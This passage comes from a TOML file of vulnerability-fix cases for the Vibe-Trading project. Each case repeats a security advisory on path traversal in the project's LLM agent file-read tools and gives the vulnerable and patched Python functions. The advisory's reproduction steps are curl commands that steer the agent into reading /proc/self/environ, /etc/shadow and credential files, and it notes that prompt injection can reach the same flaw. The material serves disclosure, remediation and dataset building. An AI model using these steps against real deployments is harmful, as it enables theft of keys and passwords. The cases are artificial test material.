Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "require_auth"
+function_lines = [[288, 289]]
+id = "hkuds-vibe-trading-489a94725fbd4ac9"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/api_server.py"
+post_fix = "async def require_auth(\n request: Request,\n cred: Optional[HTTPAuthorizationCredentials] = Security(_security),"
+pre_fix = "async def require_auth(\n cred: HTTPAuthorizationCredentials = Security(_security),"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "execute"
+function_lines = [[30, 82]]
+id = "hkuds-vibe-trading-490c1fadec0168f7"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/edit_file_tool.py"
+post_fix = " def execute(self, **kwargs: Any) -> str:\n \"\"\"Perform find-and-replace.\n\n Args:\n **kwargs: Must include path, old_text, new_text. Optional run_dir.\n\n Returns:\n JSON string with the operation result or an error.\n \"\"\"\n file_path = kwargs[\"path\"]\n old_text = kwargs[\"old_text\"]\n new_text = kwargs[\"new_text\"]\n run_dir = kwargs.get(\"run_dir\")\n\n if not run_dir:\n return json.dumps({\n \"status\": \"error\",\n \"error\": \"run_dir is required for edit_file\",\n }, ensure_ascii=False)\n\n try:\n run_root = _safe_run_dir(str(run_dir))\n resolved = _safe_path(file_path, run_root)\n except ValueError as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)\n\n if not resolved.exists():\n return json.dumps({\n \"status\": \"error\",\n \"error\": f\"File not found: {file_path}\",\n }, ensure_ascii=False)\n\n try:\n content = resolved.read_text(encoding=\"utf-8\")\n if old_text not in content:\n return json.dumps({\n \"status\": \"error\",\n \"error\": f\"old_text not found in {file_path}\",\n }, ensure_ascii=False)\n new_content = content.replace(old_text, new_text, 1)\n resolved.write_text(new_content, encoding=\"utf-8\")\n return json.dumps({\n \"status\": \"ok\",\n \"path\": str(resolved),\n \"message\": \"Edit applied successfully\",\n }, ensure_ascii=False)\n except Exception as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)"
+pre_fix = " def execute(self, **kwargs: Any) -> str:\n \"\"\"Perform find-and-replace.\n\n Args:\n **kwargs: Must include path, old_text, new_text. Optional run_dir.\n\n Returns:\n JSON string with the operation result or an error.\n \"\"\"\n file_path = kwargs[\"path\"]\n old_text = kwargs[\"old_text\"]\n new_text = kwargs[\"new_text\"]\n run_dir = kwargs.get(\"run_dir\")\n\n if not run_dir:\n return json.dumps({\n \"status\": \"error\",\n \"error\": \"run_dir is required for edit_file\",\n }, ensure_ascii=False)\n\n try:\n resolved = _safe_path(file_path, Path(run_dir))\n except ValueError as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)\n\n if not resolved.exists():\n return json.dumps({\n \"status\": \"error\",\n \"error\": f\"File not found: {file_path}\",\n }, ensure_ascii=False)\n\n try:\n content = resolved.read_text(encoding=\"utf-8\")\n if old_text not in content:\n return json.dumps({\n \"status\": \"error\",\n \"error\": f\"old_text not found in {file_path}\",\n }, ensure_ascii=False)\n new_content = content.replace(old_text, new_text, 1)\n resolved.write_text(new_content, encoding=\"utf-8\")\n return json.dumps({\n \"status\": \"ok\",\n \"path\": str(resolved),\n \"message\": \"Edit applied successfully\",\n }, ensure_ascii=False)\n except Exception as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "create_swarm_run"
+function_lines = [[1430, 1443]]
+id = "hkuds-vibe-trading-4bc98a6c0e318002"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/api_server.py"
+post_fix = "async def create_swarm_run(payload: dict, http_request: Request):\n \"\"\"Start a swarm run: body must include preset_name and user_vars.\"\"\"\n runtime = _get_swarm_runtime()\n preset_name = payload.get(\"preset_name\", \"\")\n user_vars = payload.get(\"user_vars\", {})\n try:\n run = runtime.start_run(\n preset_name,\n user_vars,\n include_shell_tools=_shell_tools_enabled_for_request(http_request),\n )\n return {\"id\": run.id, \"status\": run.status.value, \"preset_name\": run.preset_name}\n except FileNotFoundError as e:\n raise HTTPException(status_code=404, detail=str(e))\n except ValueError as e:\n raise HTTPException(status_code=400, detail=str(e))\n\n"
+pre_fix = "async def create_swarm_run(request: dict):\n \"\"\"Start a swarm run: body must include preset_name and user_vars.\"\"\"\n runtime = _get_swarm_runtime()\n preset_name = request.get(\"preset_name\", \"\")\n user_vars = request.get(\"user_vars\", {})\n try:\n run = runtime.start_run(preset_name, user_vars)\n return {\"id\": run.id, \"status\": run.status.value, \"preset_name\": run.preset_name}\n except FileNotFoundError as e:\n raise HTTPException(status_code=404, detail=str(e))\n except ValueError as e:\n raise HTTPException(status_code=400, detail=str(e))\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, 